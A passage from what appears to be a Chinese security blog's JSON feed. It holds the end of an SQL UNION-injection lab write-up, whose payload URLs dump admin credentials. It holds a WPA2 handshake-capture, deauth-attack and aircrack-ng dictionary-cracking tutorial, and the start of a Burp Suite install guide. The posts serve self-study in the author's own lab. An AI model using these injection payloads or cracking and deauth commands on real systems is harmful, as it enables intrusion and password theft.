列</strong></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/order4.png\" alt=\"\" width=\"2877\" height=\"1605\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/order4-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/order4-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/order4-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/order4-xl.webp 1024w\"></figure>\n<h6>步骤四：查询当前数据库所有表名</h6>\n<p>列数确认后，使用 <code>UNION SELECT</code> 联合查询，从 MySQL 系统表 <code>information_schema.tables</code> 中读取当前数据库的所有表名：</p>\n<pre class=\"language-sql line-numbers\"><code>192.168.153.139/search.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()</code></pre>\n<table style=\"width: 97.8632%;\">\n<tbody>\n<tr>\n<th class=\"align-center\" style=\"width: 21.1288%;\">步骤</th>\n<th class=\"align-center\" style=\"width: 18.8133%;\">目的</th>\n<th class=\"align-center\" style=\"width: 60.0579%;\">关键语句</th>\n</tr>\n<tr>\n<td class=\"align-center\" style=\"width: 21.1288%;\">查所有表名</td>\n<td class=\"align-center\" style=\"width: 18.8133%;\">找目标表</td>\n<td class=\"align-center\" style=\"width: 60.0579%;\"><code>union select ... from information_schema.tables</code></td>\n</tr>\n</tbody>\n</table>\n<p>参数解释：</p>\n<table style=\"width: 98.1481%; height: 242.812px;\">\n<tbody>\n<tr style=\"height: 48.5625px;\">\n<th class=\"align-center\" style=\"width: 38.8017%; height: 48.5625px;\">参数</th>\n<th class=\"align-center\" style=\"width: 61.1983%; height: 48.5625px;\">作用</th>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td class=\"align-center\" style=\"width: 38.8017%; height: 48.5625px;\">id=-1</td>\n<td class=\"align-center\" style=\"width: 61.1983%; height: 48.5625px;\">让原查询不返回结果，只显示 union 注入的内容</td>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td class=\"align-center\" style=\"width: 38.8017%; height: 48.5625px;\">group_concat(table_name)</td>\n<td class=\"align-center\" style=\"width: 61.1983%; height: 48.5625px;\">将所有表名合并为一行显示</td>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td class=\"align-center\" style=\"width: 38.8017%; height: 48.5625px;\">information_schema.tables</td>\n<td class=\"align-center\" style=\"width: 61.1983%; height: 48.5625px;\">MySQL 系统表，存储所有表的信息</td>\n</tr>\n<tr style=\"height: 48.5625px;\">\n<td class=\"align-center\" style=\"width: 38.8017%; height: 48.5625px;\">table_schema=database()</td>\n<td class=\"align-center\" style=\"width: 61.1983%; height: 48.5625px;\">限定在当前数据库中查询</td>\n</tr>\n</tbody>\n</table>\n<p>查询后如下显示：</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/table.png\" alt=\"\" width=\"2879\" height=\"1611\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/table-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/table-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/table-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/table-xl.webp 1024w\"></figure>\n<p>返回结果：<strong>admin, news</strong><br>当前数据库共有两张表，其中<code>admin</code>表就存放了我们需要的账号和密码</p>\n<h6>步骤五：查询 admin 表的列名</h6>\n<p>从 <code>information_schema.columns</code> 中读取 admin 表的所有字段名：</p>\n<pre class=\"language-sql line-numbers\"><code>192.168.153.139/search.php?id=-1+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='admin'</code></pre>\n<table style=\"width: 98.2906%; height: 125.125px;\">\n<tbody>\n<tr style=\"height: 48.5625px;\">\n<th class=\"align-center\" style=\"width: 17.5617%; height: 48.5625px;\">步骤</th>\n<th class=\"align-center\" style=\"width: 20.4602%; height: 48.5625px;\">目的</th>\n<th class=\"align-center\" style=\"width: 61.9781%; height: 48.5625px;\">关键语句</th>\n</tr>\n<tr style=\"height: 76.5625px;\">\n<td class=\"align-center\" style=\"width: 17.5617%; height: 76.5625px;\"> 查列名</td>\n<td class=\"align-center\" style=\"width: 20.4602%; height: 76.5625px;\">找目标字段</td>\n<td class=\"align-center\" style=\"width: 61.9781%; height: 76.5625px;\"><code>union select ... from information_schema.columns</code></td>\n</tr>\n</tbody>\n</table>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/table2.png\" alt=\"\" width=\"2879\" height=\"1614\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/table2-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/table2-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/table2-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/table2-xl.webp 1024w\"></figure>\n<p>返回结果：<strong>user_id, user_name, user_pass</strong>（我们需要的数据也就在如此）</p>\n<h6>步骤六：读取 admin 表中的账号密码</h6>\n<p>已知列名为 <code>user_name</code> 和 <code>user_pass</code>，所以这里我们直接查询：</p>\n<pre class=\"language-sql line-numbers\"><code>192.168.153.139/search.php?id=-1+union+select+1,group_concat(user_name,0x3a,user_pass),3+from+admin</code></pre>\n<table style=\"width: 97.8632%;\">\n<tbody>\n<tr>\n<th class=\"align-center\" style=\"width: 19.8288%;\">步骤</th>\n<th class=\"align-center\" style=\"width: 26.5335%;\">目的</th>\n<th class=\"align-center\" style=\"width: 53.7803%;\">关键语句</th>\n</tr>\n<tr>\n<td class=\"align-center\" style=\"width: 19.8288%;\">读取数据</td>\n<td class=\"align-center\" style=\"width: 26.5335%;\">获取账号密码</td>\n<td class=\"align-center\" style=\"width: 53.7803%;\"><code>union select ... from admin</code></td>\n</tr>\n</tbody>\n</table>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/table3.png\" alt=\"\" width=\"2869\" height=\"1610\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/table3-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/table3-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/table3-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/table3-xl.webp 1024w\"></figure>\n<p>返回结果：<strong>admin:admin@123</strong> 🎉<br>使用该账号密码成功登录后台</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-24-233620.png\" alt=\"\" width=\"2879\" height=\"1605\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-24-233620-xl.webp 1024w\"></figure>\n<p>Flag也成功找到了</p>\n<h6 class=\"align-center\">实验总结</h6>\n<p>这次实验完整走了一遍 Union 注入的流程，最大的收获是理解了为什么要用 <code>id=-1</code>以及为什么列数必须对齐，加上<code>information_schema</code> 这个系统库在注入中的核心作用</p>\n<p>另外就是操作上要注意：一定要直接在地址栏输入 URL，不能通过页面的搜索框，否则特殊字符会被编码成HTML显示的字符，注入语句就失效了</p>\n<p class=\"align-center\">至此，本实验到此结束</p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "网络安全学习笔记"
            ],
            "date_published": "2026-03-22T23:07:43+09:00",
            "date_modified": "2026-05-18T23:19:28+09:00"
        },
        {
            "id": "https://old.zeyun.org/kali_deciphering_wifi.html",
            "url": "https://old.zeyun.org/kali_deciphering_wifi.html",
            "title": "Kali Linux 抓取 WPA2 握手包并进行字典破解（实验记录）",
            "summary": "免责声明 本文所有实验均在个人搭建的内网测试环境中进行，仅用于学习网络安全技术原理，请勿在未授权的网络环境中进行测试，否则可能涉及违法行为 设备要求 一台装有kali的机器（推荐使用虚拟机） 一个可以监听的网卡（我使用的是RT3070L无线网卡）&hellip;",
            "content_html": "<h4 class=\"align-center\">免责声明</h4>\n<h5 class=\"align-center\">本文所有实验均在个人搭建的内网测试环境中进行，仅用于学习网络安全技术原理，请勿在未授权的网络环境中进行测试，否则可能涉及违法行为</h5>\n<h4>设备要求</h4>\n<ul>\n<li>一台装有kali的机器（推荐使用虚拟机）</li>\n<li>一个可以监听的网卡（我使用的是RT3070L无线网卡）</li>\n</ul>\n<h4>爆破原理解释</h4>\n<p>先通过监听模式抓取 WPA2 网络（方法主要针对 WPA2 网络，对 WPA3 基本无效）在设备连接时产生的握手数据包（Handshake），然后利用密码字典对可能的密码逐个进行计算验证。如果计算结果与握手数据匹配，则说明该密码正确（这种方式属于字典暴力破解，因此破解成功率取决于字典内容和计算能力）</p>\n<h4 data-start=\"580\" data-end=\"589\">破解流程大致如下</h4>\n<ol>\n<li>开启网卡监听模式</li>\n<li>扫描周围 WiFi</li>\n<li>抓取目标 WiFi 的握手包</li>\n<li>使用密码字典进行离线破解</li>\n<li>如果字典中的密码匹配成功，则得到 WiFi 密码</li>\n</ol>\n<h4 data-start=\"884\" data-end=\"891\">另外说明一点</h4>\n<p data-start=\"893\" data-end=\"917\">Kali 自带的密码字典虽然很大，但有两个问题</p>\n<ul>\n<li data-start=\"893\" data-end=\"917\">破解速度会非常慢</li>\n<li data-start=\"893\" data-end=\"917\">里面不一定包含测试 WiFi 的密码</li>\n</ul>\n<p>因此在本次实验中，我使用的是自己编写的密码字典 txt 文件</p>\n<h4>准备工作</h4>\n<h6>Stp1：首先确保在你的网卡连接上虚拟机，并处于监听状态</h6>\n<p>使用以下命令查看</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-14-220816.png\" alt=\"\" width=\"2137\" height=\"1022\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-220816-xl.webp 1024w\"></figure>\n<p>我这里是没有处于监听状态，使用如下命令开启监听</p>\n<p>1.先关闭干扰进程</p>\n<pre class=\"language-bash line-numbers\"><code>sudo airmon-ng check kill</code></pre>\n<p>2.启动监听模式</p>\n<pre class=\"language-bash line-numbers\"><code>sudo airmon-ng start wlan0</code></pre>\n<p>3.验证是否成功</p>\n<pre class=\"language-bash line-numbers\"><code>iwconfig</code></pre>\n<p>看到以下的显示，即为正确打开监听模式</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-14-221908.png\" alt=\"\" width=\"2143\" height=\"467\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-221908-xl.webp 1024w\"></figure>\n<p>关闭监听模式（用完记得恢复）</p>\n<pre class=\"language-bash line-numbers\"><code>sudo airmon-ng stop wlan0mon\nsudo systemctl start NetworkManager</code></pre>\n<h6>Stp2：在桌面新建一个文件夹，用于存放抓到的握手包以及密码字典</h6>\n<p>1.创建文件夹（每个人的文件路径不同，之后的路径也不同，需要注意！）</p>\n<pre class=\"language-bash line-numbers\"><code>mkdir /home/kali/桌面/wifi_test</code></pre>\n<p>2.创建密码字典</p>\n<pre class=\"language-bash line-numbers\"><code>touch /home/kali/桌面/wifi_test/password.txt</code></pre>\n<p>3.编辑你自己的密码字典(确保里面有需要爆破的WiFi密码)</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/password.png\" alt=\"\" width=\"851\" height=\"590\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/password-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/password-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/password-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/password-xl.webp 1024w\"></figure>\n<h4>实战开始</h4>\n<h6>Stp1：扫描周围 WiFi</h6>\n<p>使用如下命令扫描附近无线网络</p>\n<pre class=\"language-bash line-numbers\"><code>sudo airodump-ng wlan0mon</code></pre>\n<p>会看到以下情景（下图框选的是本次爆破的 WiFi 名称）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/ceuiwifi.png\" alt=\"\" width=\"2137\" height=\"1021\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/ceuiwifi-xl.webp 1024w\"></figure>\n<p>需要记录两个信息：BSSID，ESSID，CH（可以复制到一个你记得住的地方，一会要用）</p>\n<p>记录完成后按，<code>Ctrt + C </code>结束扫描</p>\n<h6>Stp2：开始抓取握手包</h6>\n<p>输入以下命令，开始抓包</p>\n<pre class=\"language-bash line-numbers\"><code>sudo airodump-ng -c 换成你的信道的数字 --bssid 这里替换成你的BSSID -w /home/kali/桌面/wifi_test/handshake wlan0mon</code></pre>\n<p>参数解释：</p>\n<table>\n<thead>\n<tr>\n<th>参数</th>\n<th>作用</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>-c</td>\n<td>指定信道</td>\n</tr>\n<tr>\n<td>--bssid</td>\n<td>目标 WiFi 的 MAC 地址</td>\n</tr>\n<tr>\n<td>-w</td>\n<td>抓包文件保存路径</td>\n</tr>\n</tbody>\n</table>\n<p>如果成功捕获到 WAP 握手包，界面上会出现下图的情况</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/hex-2.png\" alt=\"\" width=\"2132\" height=\"559\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/hex-2-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/hex-2-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/hex-2-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/hex-2-xl.webp 1024w\"></figure>\n<p>出现上图的 WAP 的信息后，说明抓包成功</p>\n<p>也可以和我下图一样，在刚刚创建的文件夹里打开终端</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-14-234238.png\" alt=\"\" width=\"1286\" height=\"962\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-14-234238-xl.webp 1024w\"></figure>\n<h6>原理解释</h6>\n<p data-start=\"134\" data-end=\"209\">当设备连接到 <strong data-start=\"141\" data-end=\"154\">WPA2 WiFi</strong> 时，客户端与路由器之间会进行一次认证过程，这个过程叫做 <strong data-start=\"183\" data-end=\"208\">4-Way Handshake（四次握手）</strong></p>\n<p data-start=\"211\" data-end=\"225\">简单来说，这个过程的作用是：</p>\n<ul>\n<li data-start=\"229\" data-end=\"249\">验证客户端是否知道正确的 WiFi 密码</li>\n<li data-start=\"252\" data-end=\"265\">同时生成通信所需的加密密钥</li>\n</ul>\n<p data-start=\"267\" data-end=\"276\">整个流程大致如下：</p>\n<ol>\n<li data-start=\"281\" data-end=\"293\">路由器向客户端发送随机数</li>\n<li data-start=\"297\" data-end=\"326\">客户端根据 <strong data-start=\"303\" data-end=\"319\">WiFi密码 + 随机数</strong> 计算认证信息</li>\n<li data-start=\"330\" data-end=\"344\">客户端把计算结果发送给路由器</li>\n<li data-start=\"348\" data-end=\"357\">路由器验证是否正确</li>\n</ol>\n<p data-start=\"359\" data-end=\"383\">如果计算结果正确，设备就可以成功连接 WiFi</p>\n<p data-start=\"385\" data-end=\"430\">在这个过程中，会产生一些认证数据包，这些数据包就是 <strong data-start=\"411\" data-end=\"429\">Handshake（握手包）</strong></p>\n<p data-start=\"457\" data-end=\"466\">需要注意的一点是：</p>\n<p data-start=\"468\" data-end=\"508\">握手包 <strong data-start=\"472\" data-end=\"490\">不会直接包含 WiFi 密码</strong>，但它包含了用于验证密码的认证数据</p>\n<p>如果你和我一样，等了很久，都没有出现WPA的相关信息，可以强制设备重新连接来获取</p>\n<h6>强制设备重新连接（如果没抓到包的可以做，之前抓到了，可以跳过此步骤）</h6>\n<p>如果一直抓不到握手包，可以使用 <strong data-start=\"1866\" data-end=\"1879\">deauth 攻击</strong>让设备重新连接</p>\n<p><code>Ctrl + Shift + T </code>新开一个终端，输入以下命令：</p>\n<pre class=\"language-bash line-numbers\"><code>sudo aireplay-ng -0 10 -a 换成你BSSID的地址 wlan0mon</code></pre>\n<p data-start=\"2017\" data-end=\"2043\">执行后，连接 WiFi 的设备会被踢下线并重新连接</p>\n<p data-start=\"2045\" data-end=\"2065\">重新连接时就会产生新的 <strong data-start=\"2057\" data-end=\"2064\">握手包 （也就是下面的这个红色框的 WPA 信息）</strong></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/hex-3.png\" alt=\"\" width=\"2132\" height=\"559\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/hex-3-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/hex-3-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/hex-3-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/hex-3-xl.webp 1024w\"></figure>\n<p data-start=\"2067\" data-end=\"2084\">当抓到握手包后，可以在抓包终端按<code> Ctrl + C </code>结束</p>\n<p data-start=\"2067\" data-end=\"2084\">如果以上的步骤还是不行，那就直接使用你的手机，断开并重新连接到这个WiFi（这样做100%成功，因为攻击的目的是让手机被动的下线在重连）</p>\n<h6>参数解释：</h6>\n<table>\n<thead>\n<tr>\n<th>参数</th>\n<th>作用</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>-0</td>\n<td>deauth攻击</td>\n</tr>\n<tr>\n<td>10</td>\n<td>攻击次数</td>\n</tr>\n<tr>\n<td>-a</td>\n<td>目标MAC</td>\n</tr>\n</tbody>\n</table>\n<h6>原理解释</h6>\n<p>在 <code data-start=\"931\" data-end=\"944\">airodump-ng</code> 界面下方会显示 <strong data-start=\"953\" data-end=\"964\">STATION</strong> 列表，这里是已经连接到该 WiFi 的设备 MAC 地址<br data-start=\"994\" data-end=\"997\">在使用 <code data-start=\"1003\" data-end=\"1016\">aireplay-ng</code> 发送 deauth 时，可以把其中一个设备的 MAC 填入 <code data-start=\"1047\" data-end=\"1051\">-c</code> 参数，用于强制该设备断开并重新连接 WiFi，从而触发新的握手包</p>\n<p>此时目录下会生成类似文件（如下图所示）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/wificap.png\" alt=\"\" width=\"1279\" height=\"946\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/wificap-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/wificap-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/wificap-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/wificap-xl.webp 1024w\"></figure>\n<h6>stp3:开始字典破解</h6>\n<p>在这里打开终端</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-15-000149.png\" alt=\"\" width=\"1292\" height=\"977\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-xl.webp 1024w\"></figure>\n<p>接下来使用 <strong data-start=\"2175\" data-end=\"2190\">aircrack-ng</strong> 进行密码破解，命令如下</p>\n<pre class=\"language-bash line-numbers\"><code>sudo aircrack-ng -w /home/kali/桌面/wifi_test/password.txt -b 此处换成刚刚获取的BSSID handshake-01.cap</code></pre>\n<p>提示：如果你前面的e失败次数较多，那么大概率会有handshake-02.cap这样的包，最终只要选对了正确的包即可</p>\n<h6>参数解释：</h6>\n<table style=\"width: 100%; height: 133.484px;\">\n<thead>\n<tr style=\"height: 48.5625px;\">\n<th style=\"width: 29.8734%; height: 48.5625px;\">参数</th>\n<th style=\"width: 69.9842%; height: 48.5625px;\">作用</th>\n</tr>\n</thead>\n<tbody>\n<tr style=\"height: 48.5625px;\">\n<td style=\"width: 29.8734%; height: 48.5625px;\">-w</td>\n<td style=\"width: 69.9842%; height: 48.5625px;\">密码字典</td>\n</tr>\n<tr style=\"height: 36.3594px;\">\n<td style=\"width: 29.8734%; height: 36.3594px;\">\n<p>-b</p>\n</td>\n<td style=\"width: 69.9842%; height: 36.3594px;\">目标WiFi BSSID</td>\n</tr>\n</tbody>\n</table>\n<p>之后，程序会不断尝试字典中的密码，直至成功</p>\n<p>成功后的画面如下（正真的密码我打马赛克了，所以是文字的形式显示的）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/45/mima.png\" alt=\"\" width=\"2135\" height=\"1016\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/45/responsive/mima-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/mima-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/mima-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/mima-xl.webp 1024w\"></figure>\n<p>由于之前的WiFi密码已经包含在内了，所以我这里的速度会很快</p>\n<p class=\"align-center\">至此，本实验到此结束</p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "网络工具介绍"
            ],
            "date_published": "2026-03-14T22:56:35+09:00",
            "date_modified": "2026-03-15T01:17:52+09:00"
        },
        {
            "id": "https://old.zeyun.org/install_burpsuite.html",
            "url": "https://old.zeyun.org/install_burpsuite.html",
            "title": "安装Burp Suite",
            "summary": "在Windows上安装 文件下载：点我下载（NAS分享链接，若无法下载，请联系作者：zeyun4699@gmail.com） 文件说明：old文件夹中含老版本的burp suite（为windows7老系统准备的），正常按照我下面的说明，win10/11的安装最新版的即可（这里我使用window11来进行演示） 必要下载文件：除了old文件夹里面的不用下载，其他的4个文件都需要下载，缺一不可&hellip;",
            "content_html": "<h2>在Windows上安装</h2>\n<p>文件下载：<a href=\"https://ivostation.dpdns.org:8443/s/7b5eb1aaa9f04dbabf\" target=\"_blank\" rel=\"noopener noreferrer\">点我下载</a>（NAS分享链接，若无法下载，请联系作者：zeyun4699@gmail.com）</p>\n<h5>步骤一：下载来自我上传的文件（你会得到步骤二的图片中的几个文件）</h5>\n<p>文件说明：old文件夹中含老版本的burp suite（为windows7老系统准备的），正常按照我下面的说明，win10/11的安装最新版的即可（这里我使用window11来进行演示）</p>\n<p>必要下载文件：除了old文件夹里面的不用下载，其他的4个文件都需要下载，缺一不可</p>\n<h5>步骤二：双击此文件，安装Java坏境</h5>\n<h6>因为我提供的这个burp suite的版本较新，所以这个需要高版本的Java</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/bpjava-2.png\" alt=\"\" width=\"1389\" height=\"399\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/bpjava-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/bpjava-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/bpjava-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/bpjava-2-xl.webp 1024w\"></figure>\n<h5>步骤三：开始安装</h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-170853.png\" alt=\"\" width=\"987\" height=\"746\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-xl.webp 1024w\"></figure>\n<h6>点击继续（选择文件位置，这里我建议可以更换一个自己记得住的路径）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-170953.png\" alt=\"\" width=\"1001\" height=\"759\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-xl.webp 1024w\"></figure>\n<h6>完成安装（这里点击关闭即可）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-171049.png\" alt=\"\" width=\"1001\" height=\"759\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-xl.webp 1024w\"></figure>\n<h5>步骤四：配置坏境变量</h5>\n<h6>依次打开：设置，系统，系统信息，高级系统设置</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/javaDe-Huan-Jing-Bian-Liang.png\" alt=\"\" width=\"2879\" height=\"1700\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-xl.webp 1024w\"></figure>\n<h6>选择环境变量选项</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Pi-Jing-Bian-Liang-1.png\" alt=\"\" width=\"956\" height=\"1094\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-xl.webp 